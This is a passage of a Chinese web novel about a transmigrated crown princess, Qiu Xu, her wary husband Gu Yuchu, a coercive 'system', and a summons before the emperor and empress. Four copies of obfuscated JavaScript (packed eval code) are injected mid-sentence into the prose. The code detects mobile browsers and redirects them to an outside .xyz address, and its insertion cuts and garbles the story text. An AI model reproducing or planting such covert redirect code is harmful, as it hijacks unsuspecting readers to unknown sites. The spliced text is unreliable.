那天他还在华光殿的学堂里,听孟夫子文绉绉地讲大道理,真没意思,窗外正是好天气,春天要来了,小鸟吱吱啾啾飞来飞去,梅花都还未谢尽,朱砂玉兰倒抢先开了花,俏丽地挂在枝头。 孟夫子见他神游天外,戒尺在书本上一敲,惊得顾玉初一跳,旁边大皇子见他糗态,嗤笑半句,他也毫不在意,脑子里还胡乱想着,母后软榻旁那支瘦梅没熬过立春呐,早上请安时瞥见瓶空了,要不就将那株玉兰送去吧……孟夫子怎么还拖堂?这都什么时辰了。 国丧钟声就在此时响起,沉凝钝重,一声叠着一声。 那一刻,他的脑子一片空白,张张嘴却发不出任何声音,像被那钟杵捣穿胸腔。 顾玉初撞开学堂门时,脸上血色褪尽,宫女侍卫都没拦住,他跌跌撞撞地在青石板上奔跑,承晖殿前那条走过千百遍的宫道突然蜿蜒得近乎扭曲,怎么也跑不到头,中途好似还跌了一跤,可他已经顾不上了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15427136|168546||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 直到远远望见母后寝殿挂上的白幔,他忽然觉得身体里力气尽失,腿怎么也抬不起来了,走了两步便软绵绵地跪倒在地,猛地吐出一口鲜血来。 衣摆扬起又落,他如同断线木偶,直直倒下。 秋绪却在此时再次醒来。 残梦仍绕在思绪间,她想着,顾玉初弱不弱确实不好说,但这么看来,确实有病在身,年仅十岁,本应该是体魄最为强壮的年纪,可在极度悲愤之时,竟然会吐血昏迷。怪不得阿山说他这药可断不得。 这般情况,竟然还能在十五岁奔赴战场?甚至于,她觉得魏衡帝的做法有些蹊跷,这孩子本应被捧在手心精心养护,又不是穷苦人家,一国之君有的是金银财宝保他儿子平安顺遂,再者朝中午将如云,皇室皇子众多,怎么非要送个“玉棠儿”去那凶险的战场? 思索完梦境,意识渐渐清醒,她终于睁开眼睛。 清神丹的药效已经褪去,极为明显,她的五感从那种锐利如芒的状态中恢复正常,仿佛卸下沉重的枷锁。 记忆如潮水涌来,她逐渐想起在清神丹的药效里,做出的大胆之举——在盐场和顾玉初对峙结果惨遭撩拨,在太子突查私盐仓库时,被污蔑后怒而破锁,在夜里观看星河坠江,误以为是她的钞票打水漂,甚至指着一国太子鼻子骂败家…… 哇哦,别人都说老虎的屁股不能摸,轮到她了,竟是按着老虎屁股狂撸一番,还要说:“小猫咪~喜不喜欢姐姐的摸摸啊?” 她默默捂脸,人怎么能有种成这样。 尽管有些汗颜,但细细想来,她上辈子谨小慎微地度过二十年,这样不顾后果、只活当下的时刻少之又少,如今药效褪去,恢复正常,心中竟隐隐有一丝怅然若失。 这般想着,她轻轻叹口气,翻了个身。 然后她就看见顾玉初沉睡的侧颜,安静地卧在她的身侧,嘴唇微抿,鼻梁如峰,长长的睫毛投下一片模糊的阴影——不是?清神丹就算没了,她的感知力也不至于废成这样吧?身边躺着个人都浑然不觉? 秋绪惊得倒吸一口凉气,那声音大的,好似倒吸一口凉皮,径直把顾玉初给吸醒了。 他显然疲惫至极,眼眸微微睁开一条缝,又缓缓闭上,伸手揉揉眉心,也叹口气:“你好吵。” 那一瞬间,秋绪脑海中闪过无数念头——他怎么在这里?难道还是为了亲自守着她?守着便守着,怎么还上了床?……这房里只有一张床,好似也别无他法。况且他俩本就是合法夫妻,同榻而眠倒也并无不妥——故而最终,她什么也没说,只是僵在那儿,维持着那倒吸凉皮的姿势。 “罢了,反正也未曾熟睡。”他昵她一眼,语气中不知是羡慕还是嘲讽,“你倒是睡得安稳。” 秋绪小心翼翼和他对视一眼,没敢说,那倒也没有睡得很踏实,因为梦见他的幼年往事,见到他已故的亲生母亲,以及一段应是令人怀念却难以怀念的痛苦过往。 此时若提起这些,岂不是在揭他伤疤?很该打了。 顾玉初又道:“你若想睡便接着睡吧,可睡不了多久了,陛下听闻你砸锁壮举,急召我们即刻返京,待天亮了,就准备起程。” 什么?! 陛下急召? 秋绪再次倒吸了一口凉皮。 11.讨厌皇帝 一想到即将陛见,秋绪顿时心情有点复杂,虽然她和魏衡帝只在婚礼次日草草见过一面,但她之前看原著的时候,就不大欣赏这位皇帝。 ——好吧,不仅仅是不欣赏,当初她骂得是挺激情澎湃的。 甭管是小家抑或是大国,他的治理才能着实平平。说难听些,此人不过是投胎有道,运气尚可罢了。 从那被梁家牢牢掌控的弱皇子,到如今依旧难以抗衡梁家的弱皇帝,可即便如此,那也是万人景仰、高高在上的帝位啊。 这位弱皇帝在梁家的帮助下弑兄逼父,夺嫡上位之后,急需获得清流支持以稳固正统地位,所以迎娶了翰林学士林鹤青之女为皇后,借着林家的笔杆子,将那场血腥宫变美化成肃清朝纲之举。 然而,没有人在意那被他利用之后的林家女,之后的处境会是何等艰难。 秋绪心里明镜似的,方才在梦中林皇后所患之“病”,实则是毒导致,这其中十有八九与梁皇后脱不开干系,可是魏衡帝佯装不知,甚至默许梁皇后的恶行。 林皇后病重之际,魏衡帝亲临病榻,悲戚垂泪,当场下旨为她的父兄加官晋爵。可待林皇后香消玉殒后,他再度对林家冷眼相待。 由此可见,魏衡帝品行低劣,虚伪至极,就是个披着伪善外衣的薄情渣男! 不仅如此,原著里这般写道:“衡帝在位三十载,朝堂竞争如弈棋,而帝稳居高位,作壁上观。 每逢灾变,必下罪己诏已示仁德,然赈银十之八九耗于吏手。遇边疆告急,则令诸将持重缓战,终使寇虏坐大。” 秋绪读到这里,心生厌烦,也就梁家爱拿捏这般软弱之主,这皇帝事事无成,连她都想说:“你到底能不能干好?你不干有的是人干。” 总之,秋绪很不待见魏衡帝,甚至有些厌恶。 可她尚不确定顾玉初对魏衡帝究竟持何种态度。 比如说这次的私盐案,分明是顾玉初提前和魏衡帝通过气,才能进展得那么顺利。 想当年,顾玉初不过十五六岁,也是魏衡帝力排众议,顶着梁家施加的巨大压力,将太子之位交到他手中。 虽然魏衡帝此举,在给他无上尊荣的同时,也让他成为众矢之的。 或许也正因如此,顾玉初虽然公事严谨,却几乎无任何私交,无论对谁都冷淡疏离,哪怕是魏衡帝,平日里两人除了处理公务,几乎再无其他交流。 如此伪君子,秋绪实在不愿意和他打交道,那股子心机深沉的劲儿,如跗骨之蛆,倒不如顾玉初这般直接给她一剑封喉来得痛快。 顾玉初见她的神情在须臾间千变万化,精彩纷呈,不禁嘴角轻挑:“怎么,这会儿害怕了?” 秋绪缓缓摇了摇头,眸光闪烁,一时有口难言。 他见状调侃道:“这两日不是挺一往无前的吗?怎么这会儿倒是哑巴了?” 秋绪心中暗暗翻白眼,她能说什么?说你爹太阴湿,尽是不干人事,本判官判他降龙十八掌立即执行。 顾玉初被秋绪便秘拧巴的表情逗乐,笑意蔓延,情不自禁倾身凑近,直把她逼迫得战术后仰至脑袋抵在墙面上的程度。 他欣赏她后退的样子,好笑道:“你想什么呢?眼神骂得那么脏。” 是吗?那都是他应得的。 秋绪垂着眸子,掩盖住复杂的心绪,沉默片刻后开口:“殿下,总而言之,我只是站在你这边。” 这话说得直白明了,顾玉初却微微挑眉,眼里带着探究玩味:“你丝毫不惧怕他,却满是厌恶,那可是陛下。” 陛下又咋了,她还是社会主义接班人呢,她骄傲了吗? 直到这会儿,秋绪才意识到顾玉初又故技重施。 他并未触碰到她,可还是悄然靠近,将她困在床间罗帐的一方狭小天地,一双眸子一瞬不瞬地紧盯着她,从躯体到灵魂,施予一场无形的强控制。 秋绪莫名其妙,有病啊这人,外面那么大地方,干嘛非要把她挤在角落? 她瞥一眼顾玉初,忽然悟了,难道他近视眼? 解释通了,近视眼不戴眼镜,都听不清别人说话。 “那你为什么怕孤?”顾玉初步步紧逼,眉梢下压,凶悍之气如风暴般弥散开来,“就因为孤杀了那些人吗?” 秋绪:“……” 要不要听听看你在说什么。 “哼,若不是他们死了,你根本活不到今日。”顾玉初支着下颌,再度抬手,带着一丝不容抗拒的力量,轻柔而恐怖地将她散落在脸上的长发挽至耳后,“想必你根本不知梁家训练他们的残酷手段,可惜还未用在你身上过。” 他的指腹似有若无地掠过她的耳廓,那轻柔的触感似羽毛撩拨,瞬间勾起一片战栗,她瑟缩着往后躲,却被他一把钳制住下颌骨,甚至因为力道稍重,竟让她的嘴巴被脸蛋挤压得嘟了起来。 顾玉初不满,捏捏她的脸:“为什么不吭声?吓傻了?” 秋绪眼睛睁得圆圆的,眨巴了两下,然后撅着嘴,真诚地双手合十:“那谢谢殿下,好人一生平安。” 顾玉初:“……” 他陷入沉默,眼睛却忽然一亮,发现了有趣的事情,只要一捏她的脸颊,嘴巴就会啵的一声乖巧张开,一松就会合上,好像小金鱼吐泡泡。 秋绪:你品味好独特啊殿下。 他饶有兴致观赏秋绪嘴巴一张一合,如此反复数次,她终于皱起眉头,显而易见地不耐烦起来。 就在她即将发作的前一秒,她松开了手,意味深长地说:“那你记住今日所说的话,只站在孤这一边。” 这话说的,真的很像中二少年在起誓。 但秋绪此时拗不过顾玉初,于是顺从地点点头,伸手揉了揉被捏痛的脸颊,那模样简直像是小猫洗脸。 “你继续睡吧。”顾玉初轻声说道,而后翻身而起,在床沿静坐片刻。他垂着头,长长的黑发散落在背后,不知在想什么,而后他起身离开,没有回头。 秋绪看着他的背影离去,一步步走向门扉,竟然品出一丝寥落之意。 或许是因为梦中那个小小顾玉初朝着母后寝殿狂奔的样子太让人难过,让她到现在也没忘掉,一想起来就得骂魏衡帝两句。 不知不觉间,秋绪再次思绪沉沉地睡了过去,直到兰心轻手轻脚地将她唤醒:“殿下,该起程回京了。” 回京途中,秋绪都没怎么再见过顾玉初,或许是因为即将陛见,诸多待呈报之事皆需要他一一审定,他大部分时间都与同行的官员们聚在一起。而那天晚上他们之间短暂的交谈,也仿佛是梦境一环,醒来后就烟消云散了。 秋绪别的还行,就是万万没想到,赶路实在让她难以消受。 她来的时候是昏迷状态,这回去的路上,坐长途马车晕车,坐长途船又晕船,一路迷迷蒙蒙,浑浑噩噩,身体虚弱不堪,精神更是萎靡憔悴。 等到京城后从船上上岸,顾玉初与她一同上了马车,瞧见她模样后都小吃一惊:“兰心没给你吃饭吗?” “吃了,又吐了。”秋绪奄奄一息地靠在软垫上,有气无力地对顾玉初客套客套,“殿下,你还是别跟我一辆车了,万一我又犯恶心呢。” 顾玉初对她的建议置若罔闻,轻拂衣摆,从容落座,淡然道:“那你忍着点。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15432514|168546||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 秋绪:……狗太子。 车夫一声响亮的号子,马车又骨碌碌开始前行。 说来也怪,自从顾玉初上车后,秋绪竟觉得晕车的不适有些许缓解,回忆半晌,她想起在去时路上,也是这般被马车颠簸得快要吐了,所幸嗅到他身上那一缕若有若无的清淡药香,才让她好受不少。 哇哦,没想到,顾玉初竟然是一颗行走的晕车药。 她立刻来劲了,眼珠子咕噜一转,看向别处,装作极不经意的样子,悄没声息地把屁股往他身边挪一点,再一点。 “怎么的?”顾玉初敏锐地注意到她的小动作,“你是要坐孤怀里来啊?” 秋绪当机立断往回挪一点,再一点。 然后安生窝在了原位,安安静静。 唉,下次她还是问问兰心,能不能给她做个防晕车的草药包吧,总比让这狗太子良心发现来得快。 顾玉初撑着腮帮子,盯着她看,她故作镇定地靠在窗边,看天际流云,看脚下大地,就是不去回应身旁如影随形的视线。 那目光如有实质,把她盯着得耳朵都有点隐隐发烫。 正在思考该怎么办的时候,秋绪脑子里忽然诈尸般出现系统的声音:“叮!检测到梁振说出原著台词,判断剧情回归主线65%,请宿主按照原台词回复——” “不是,等等!”秋绪赶紧喊停,满脸皆是茫然,对这个陌生的名字完全摸不着头脑,“梁振是谁啊?” 经过系统的提醒,她依稀想起来,梁振算是“她”二叔,也就是梁国公的次子,梁世子的胞弟。 在这钟鸣鼎食的世家大族里,他就像是一朵温室中未经风雨的娇花,不谙世事且才智平平。他存在的所有意义,就是为了衬托梁世子的出众。 平日里,他不学无术,职业纨绔,却凭着家族的庞大基业,能一辈子衣食无忧、逍遥自在。 想到这里,都有点羡慕了呢。 不过,这小虾米一般的角色,要身份没身份,要能力也没能力,就算在原著里出现过,秋绪也完全想不起来还有这一号角色。 “还得等等!”秋绪仍然疑惑,“他现在在哪儿啊?说什么了?” 话音未落,阿山就策马来到他们的马车边,轻叩车壁,低声禀报:“二位殿下,梁家的梁振,即太子妃的二叔,正往这边而来,和咱们的车队碰上了。” 因为梁振并无官职在身,所以只能提一提其他关系。 秋绪狐疑:“他说的原著台词,不会是什么‘见过太子殿下’吧?” 系统回答:“原著场景为,太子夫妇前往游园之际偶遇梁家人,太子拂袖转身离去,太子妃趁乱给梁家传递消息,梁振的原著台词为——太子殿下、太子妃殿下万安!今日有幸遇见二位殿下,实乃草民之荣幸!” 秋绪:“……” 这算哪门子原著台词啊?这种废话顾玉初每天都要听一万句吧? 系统继续:“请宿主按照原台词回复——二叔请随本宫来,留意尾行。” 秋绪:? 系统是不是看她活太好了? 非要来横插一脚把她往死里整? 此刻的情形,哪里有什么游园盛会,哪里有熙熙攘攘的人群,太子不仅没有离开,他们甚至还在同一辆马车里,就在不久之前,她还第不知道多少次向顾玉初表明自己的一片忠心天地可鉴。 然后在这节骨眼儿上,系统竟然要求她当着顾玉初的面儿,去和梁家人碰面,还要传递讯息? 秋绪气得直接撸起衣袖,怒目圆睁道:“来,系统你来,咱俩打一架吧!你看我不抠掉你电池!” 12.一箭三雕 在秋绪的脑海中,自己宛如一名训练有素的拳击手,眼神坚毅果敢,身姿矫健灵动地在左右闪避腾挪,准备以凌厉的左钩拳、迅猛的右钩拳,再来一记力大无穷的上勾拳,直接给系统一套连招带走。 系统听罢她打架的愿望,立刻满足,零帧起手开始电击,半点都没犹豫。 滋啦啦!!! 顾玉初听到梁振这名字后,眉头一皱,正欲吩咐阿山回绝梁振的请安。他与梁家关系不睦,这在朝堂上人尽皆知,实在没必要行这些无谓的虚礼,连马车都不必停。 他刚要开口,却见旁边的秋绪忽然间开启了震动模式。 “你冷?还是饿?难受恶心?”顾玉初上下打量她片刻,想起某种可能性,眼睛一眯,“总不可能是怕了梁振?” 细密的电流在身体的骨隙里肆意流窜,虽然不疼,但难忍痒意,伸手都不知道该往哪里挠。 秋绪用尽全身力气抵抗,还是止不住地想笑——啊啊啊,她的意志真的非常薄弱!笑出来真的的不是她的本意,就像无法控制疲惫与疼痛一样,对痒痒挠她也毫无招架之力! “你……垃圾系统,你有本事就电死我!”秋绪憋得满面通红,只能俯身用手捂住脸,但还要向系统展示她不屈的灵魂,与顽强抗争的态度,“我现在开口,前面的努力就全白费了!” 系统不语,只一味地电她。 顾玉初见秋绪这似痛非痛、似哭非哭的模样,有些莫名。 方才瞧她时,虽然略显虚弱,状态倒还尚可,怎么一转身就这般严重了?他转头向阿山吩咐道:“宣随行太医前来。” “不!殿下,等等!”秋绪闻言立刻弹起身,一把攥住他的手臂,结果等他转过头,投来询问的目光,她又慌了神,不知该如何开口,只能结结巴巴地说道,“我还好,没到需要请太医的地步。” 顾玉初眸光流转,缓缓下移,定格在她抓着他的那只手上,此时手腕还在止不住地隐隐颤抖,显然不似没事的样子,甚至她的脸上,皱起的眉头和弯起的嘴角,无疑拼出一个强颜欢笑的表情。 他有些不解:“你确定?” 秋绪心虚地低下头,声音细若游丝:“就……就是有个不情之请……” 顾玉初看不得她这幅欲言又止的扭捏作态,眉头一竖,沉声道:“何事?” 秋绪嘴巴微动,叽叽咕咕吐出轻如柳絮的几个字,顾玉初根本听不清,不由得有点不耐:“大声点,前晚骂孤败家的时候,嗓门不是挺大的吗?” 她被说得有些紧张,连手都不自觉地攥紧他的衣袖,内心挣扎许久,终于一咬牙,硬着头皮问道:“你能不能让我去见梁振一面?” 顾玉初在听清楚后,面色陡然阴沉,好似刹那间聚拢层层乌云,原本明亮的双眼里也染上一层薄薄的怒意,说话的声音简直是从牙缝里挤出来:“你要去见梁家人?” 秋绪:殿下,您真的喜怒真是皆形于色啊。 不过,秋绪自知这请求实在太不合时宜,昨天还在信誓旦旦地同他表明“殿下我只站在你这一边”,今天就翻脸说“我要去见梁家人”,别说顾玉初了,就算是脾性温善如她,碰上这等反复之事,也怕是要动气了。 于是秋绪悄悄地松开他的袖子,规规矩矩地坐好了,再次怂成了一团鹌鹑,垂着脸,搅着手指嘀咕道:“也不是非得去。” 未曾料到,顾玉初并未即刻发作,而是生硬蹦出俩字儿:“理由。” 秋绪听见有戏,眼睛一亮,再加上浑身痒痒所带来的笑意,她整个人都好似洋溢着无与伦比的欣喜与幸福,欢快地说道:“殿下,我打算去使个离间计!” 顾玉初目光冰冷,语调森然:“见梁家人,能让你这么快乐?那别去了。” 秋绪笑容骤敛,双眉紧簇,神情严肃,眼神中满是坚定:“我只是在硬撑,其实我的内心很愤怒。” 说罢还做出一个痛心疾首的表情以示真诚。 顾玉初盯着她毫无专业素养的演技,思虑辗转,半晌终于开口:“仅给你半盏茶时间,如未按时归来,你自当清楚后果。” 秋绪一愣,他竟然真的答应了? 笑意当即涌上心头,她嘴咧到一半猛地收住,硬生生憋了个肃穆的神色,庄重且恭谨地说:“谢殿下!” 话音未落,她霍然起身,撩开车帘子,离弦之箭般飞身跃下马车,连兰心伸手相扶都顾不上。 其实,继续承受电击也并非不行,但那痒痒实在难以忍受,如果时间再长点,说不定她伸手还能更矫健些。 “殿下!殿下!”兰心急步追来,跑到她面前,轻柔地伸手为她整理好衣冠,又细细捋顺她的发丝,见她依旧瑟瑟发抖,兰心担忧道,“当真不用请太医来瞧瞧吗?” “不必。”秋绪忍耐着兰心的动作,想想道,“你跟我一起去。” 此刻,她也无暇顾及顾玉初的猜疑,反正这里都是他的人,自己的所作所为都不会是秘密,既然如此,不如直接卖个好儿。 兰心温柔地笑笑,然后如往常般,静静地跟在她身后。 秋绪信步走到与马车有一段距离的之处,此时阿山已将梁振请到。 那是一个中年男子,因没怎么经历过困苦,故而保养得当,看上去颇为年轻,他所穿也是一袭华服,举手投足之间尽显雍容贵气。 梁振见到秋绪,赶忙恭敬行礼:“见过太子妃殿下,许久不见,不知殿下近来可好?” 他抬首之际,瞥见秋绪面色不佳,正欲关切询问,秋绪却径直抬手,止住他即将出口的寒暄,几乎是迫不及待地说出系统任务台词:“二叔请随本宫来,留意尾行。” 刹那间,电击戛然而止。 秋绪只觉从骨到肉都倏然一松,仿佛全身的毛孔都舒展开来,整个人不禁有些飘飘欲仙。 她微微一顿,旋即转身,朝着更偏僻的地方走了一段。 梁振目睹,有些游移不定,然而见秋绪已经迈步,便也急忙跟上,待站定后,他看了看始终寸步不离秋绪的兰心,眼中的疑惑清晰可见:“让我留意尾行,你自己却带小尾巴,这合适吗?” 但他也并未说出口,而是再次恭恭敬敬地作揖,问道:“殿下有何差遣?” “叮!检测到梁振说出原著台词,判断剧情回归主线66%,请宿主按照原台词进行回复,稳定剧情发展——‘劳烦二叔代本宫问候家父,近日天寒,切勿过劳。’” “劳烦二叔代本宫问候家父,近日天寒,切勿过劳。”秋绪按照系统任务,慢条斯理地将台词说出,稍作停顿,继而绽开一抹微妙的浅笑,缓慢地补上一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15448253|168546||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 句,“——此乃本宫赠二叔之礼,还望二叔务必收下。” 就这么简简单单的一句话,却让整段话语的意味全然不同。 梁振猛地抬头,难以置信地望向秋绪,正撞上她笃定的眼神。 秋绪极轻微地对他点头后,说道:“二叔保重身体,代本宫向祖父祖母问安,若无其他事宜,本宫便先行离开了。” 梁振自然无话,深深鞠躬:“多谢殿下关怀,草民必代达问候,恭送殿下。” 秋绪颔首,便领着兰心离去。 梁振伫立原地,凝望着的秋绪渐行渐远的背影,神色看似波澜不惊,眼底却如翻涌的暗流,无数复杂情绪交织。 太子妃这番话语,可真是意味深长,这究竟是太子的授意,抑或是太子妃的一己之念?她难道就这般笃定,他不会将此事告知父兄?莫非事态已然尘埃落定,还是说,从一开始就是针对他布下的一场局? 他的内心泛起层层涟漪,久久难以平息。 而这边,秋绪完成任务,一身轻松,连步伐都欢快不少。 方才她对梁振说出那番话,的确存有几分赌的意味,然而,她会想起系统介绍梁振时的描述,“他存在的意义,就是为了衬托梁世子的出众”。 梁振出身国公府,没争到嫡长子的位置,已经是他一生的痛。 而且,他既没有梁世子那般能过目不忘且能作锦绣文章金榜题名的聪慧头脑,又因自幼养尊处优,吃不得苦,无法刻苦读书,多年科考皆无果。家中为他捐官安排差事,他却因饮酒无度搞砸,最终只能辞官。 这样的他,面对优秀的兄长,心中怎会毫无怨怼? 倘若他真是个对家族事务漠不关心的纨绔子弟,倒也罢了。可若真是如此,昨夜他或许在附近寻欢作乐,今日即便见到太子车队,远远避开便是,何苦巴巴地跑来充当危险的中间人? 想来,他定是想在梁国公面前再次露个脸,好为自己重回官场谋个机会。 要是真能让他心里犯嘀咕,那便是再好不过。 即便他回去告发,也无妨,兰心就在旁边,众人定会以为是顾玉初派她来传话,毕竟,东宫里的梁家探子大多已被清理干净。 想到此处,秋绪忍不住表扬自己,真是好机智,这么突发的状况,竟被她处理得妥妥当当,一箭三雕嘛,她一学就会,超聪明的。 此时,系统也适时出声: “叮!检测到关键剧情节点触发! 给予奖励:神行散x5。 效用特征:短暂强化身体机能,不饥不疲,足履生风,精力不衰。 持续时间:十二时辰(24小时)” 不儿,怎么吃个药就变成千里马了? 上一个清神丹是方便她跑路,这个神行散,莫不是升级版,能让她快快跑路是吗?她的人生就离不开跑路是吗?那能不能直接一口气升级到顶,直接跑出这个世界啊? 这会儿秋绪心里还在吐槽,不知不觉已经走回了马车旁。 顾玉初正手执卷宗,倚靠在车壁上静候。 他一抬眼,就瞧见她神采飞扬的模样,哪有半点方才的郁悴苦相,当即哼道:“哟,看来梁振比太医管用,这一见面,就把你的病治好了,往后再有此等问题,孤直接将你送回梁家,如何?” 13.红脸白脸 顾玉初话语里分明带刺,秋绪却丝毫未收敛那副得意忘形之态,反而笑吟吟地凑到他跟前,摇头晃脑地说道: “哎呀,殿下别生气嘛,我对梁振那都是逢场作戏,要使离间计呢,那自然得拿捏姿态装腔作势,要不然,他怎么会信我说的话?” 再者,她知道那么多秘辛,他杀了她,都断不可能送回梁家。 更何况储妃这身份摆在这,就算他们想要和离,那些老古板大臣怕是要以头抢地死谏朝堂。 顾玉初听罢,将手中卷宗卷起来,在她脑门敲上一记:“看来刚刚那难受的样子也是装出来的?” “那倒不是!”她摸摸额头,诚实地说,“不过刚刚梁振表情太精彩,我一瞧,身体就舒坦了。” 料想顾玉初已然知晓对话内容,她也无需再复述一遍。 那些算计较量的小心思,她本就不打算藏着掖着,面对顾玉初这种疑心病晚期的人,任何的迂回遮掩只会适得其反,倒不如把话摊在明面上,或许还能让他稍稍放下一点点戒备。 顾玉初瞥她一眼,不再言语,转身掀袍登上马车,秋绪提着裙摆也跟进去,特地找了个离他最远的位置坐下。 随着马车再度启程,秋绪撩开车帘子看着外头一闪而逝的街景,思忖片刻,终于有了一丝要陛见的实感。 她悄咪咪探头问顾玉初:“陛下急召,莫不是要斥责于我?” 他淡淡回应:“圣心难测。” 秋绪闻言撇嘴,哪儿就难测了?整得跟他不知这事儿一般,这父子俩分明早就计划好了,她劈锁只不过是误打误撞,将这事儿进程加快,怎么魏衡帝还要专门叫她面圣呢? ……这感觉,就像是骂了渎职老师后被校长喊去办公室训话。 顾玉初余光扫过她犯愁的眉眼,存心逗她道:“慌什么?凤宁宫那位可是你姑姑,还能委屈你了?” 秋绪一听,愈发心里没底。 她这砸的就是梁家的饭碗,天晓得会被怎么追责?清神丹只给了她掀桌的胆色,可没有给收拾残局的本事。 马车内沉香袅袅,顾玉初说了句“放心吧”,便径自抱臂闭目养神,不再理会她。 依照宫制,他们面圣前必须回东宫换朝服,但因魏衡帝急召,故而马车并未转道,直接驶入那庄严巍峨的宫门。 换乘软轿后,秋绪连一路上的红墙绿瓦,茂树繁花都无心欣赏,直到抵达那象征着皇权至高无上的光明殿,她才惊觉把袖口都攥皱了。 这一路上,比起害怕,她更多的是紧张。 皇宫的宏伟壮丽具象成飞檐斗拱与玉阶雕花,还有那些规矩森严的宫人,一个个目不斜视,谨小慎微。 这些细节皆让她切实地意识到,即将见到的并不是书中的某个角色,系统虚拟投影中的某个形象,或是上次皇室婚礼上那两个遥远而模糊的轮廓,让她只能跪拜的某个符号。 在这个世界里,帝后是真切的活人,掌握着生杀予夺的大权。 更让她提心吊胆的是……真的好怕这智障系统突然抽风,要是让她在这庄严肃穆之地,在那些想要审判她的人面前出尽洋相,那还不如直接撞柱子来得快。 秋绪的思绪如乱麻般在脑海中打结,下意识地,她轻扫一眼并肩而行的顾玉初。 也不知为何,自从踏入皇宫的那刻起,他整个人的气场都凝肃起来,仿佛每一寸姿态都在契合着他的政治身份,像是戴上了一层专属于太子的冷峻面具。 不过,此次召见之地竟不在大殿内,只见一名太监恭谨地将他们引入御书房,帝后端坐上首,正在翻阅讨论案面上堆着批红的奏折。 这安排,相比于公务场合的严肃刻板,莫名多了三两分家庭聚会的温情意味。 然而,天家何来寻常? 总归不对劲。 二人踏入御书房后,便规规矩矩地向魏衡帝与梁皇后行礼。 秋绪匍匐于地,魏衡帝的声音从上方传来,似是在抚掌而笑:“平身吧,太子妃,朕早已知晓你举斧破铁锁之壮举,实是欣赏你的果敢勇毅,颇有秋将军沙场风范!” 秋绪闻声,刚一抬眸,便见魏衡帝身侧的梁皇后投来一记冷冽的目光。 这是她第一次近距离见到梁皇后。 和原本所想不大一样。 或许在刻板印象里,如梁皇后这般掌握大权的女子,应是长着一副凌厉的眉眼。 可梁皇后看上去极为年轻,容貌艳丽,再加上她盛装华服,如一株肆意盛放的魏紫牡丹,灼目得让人挪不开眼。 暂且不提梁皇后品行如何,此时此刻秋绪被大美人横眉冷对,甚至有点耳尖发烫。 她蓦然想起梦中见过的林皇后,那明显是书香门第走出的温婉千金,即便后来身染沉疴,亦如雨后白莲,圣洁憔悴。 啧啧,魏衡帝真是好福气,两位夫人不仅出身名门,家世煊赫,自身本事了得,模样还生得花容月貌,光是和她们共处一室,就觉得满室生香,如沐春风。 谁会不喜欢漂亮姐姐呢? 哪怕是她,看到漂亮姐姐都挪不动步呢。 秋绪感叹一回,偷偷瞥一眼魏衡帝,也不得不承认,这讨厌皇帝亦有一位风度翩翩美大叔的皮囊,至少在形貌上,与二位皇后都相称。 她头一回虔诚地感谢原著作者,至少在这小说世界里,竟无一个容貌丑陋之人,自穿越至今所见,俱是玉质金相。 这对于一个颜控而言,实在是眼花缭乱,光是到处看看就喜不自胜。 脑海中一瞬间闪过无数念头,但秋绪勉强注意力在线,恭敬诚恳地垂首回应魏衡帝:“回陛下,臣妾身为太子之妻,为太子分担忧虑,本就是分内之事。” “呵,好个分内之事!” 此时,梁皇后却陡然发难,语气严厉,“你可知道,御史弹劾你越权行事,肆意毁坏官库!梁家就是这样教你的吗?” “你身为太子妃,就该有一国储妃应有的风范,遇到事情不知谋划对策,竟直接砸锁了事?倘若日后再遇他事,难不成见什么便砸什么?” 秋绪心里一动。 梁皇后只提砸锁,莫非尚不知沉船一事? 她再次行礼,言辞恭顺:“是臣妾一时冲动行事,还请父皇母后责罚。” 梁皇后望向顾玉初:“还有太子!竟纵着太子妃这般逞能?!” 顾玉初面无表情,敷衍随意地一拱手,显然没有任何认错之意:“是儿臣思虑不周。” “哎呀,当时那知州千方百计拖延,太子妃不过事急从权,哪里值得生这么大气。” 魏衡帝笑笑,截住梁皇后接下来的斥责,“你莫要着急,太子妃年纪尚幼,从前也没有处理政事的经验,能有这份为太子分忧的心意,已是难能可贵,你日后多多教导于她,未必不能将太子妃步入正轨。” 帝后这红脸白脸的戏码,真是唱得滴水不漏,末了,魏衡帝还假模假样地朝他们摆了摆手,呵呵笑道:“你们快些离去吧,莫要惹你们母后动怒了,朕都难以圆场咯。” 如此肉麻的俏皮话,秋绪听得直犯恶心,忍了又忍,才没将脸皱成沙皮狗,甚至很想问顾玉初 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 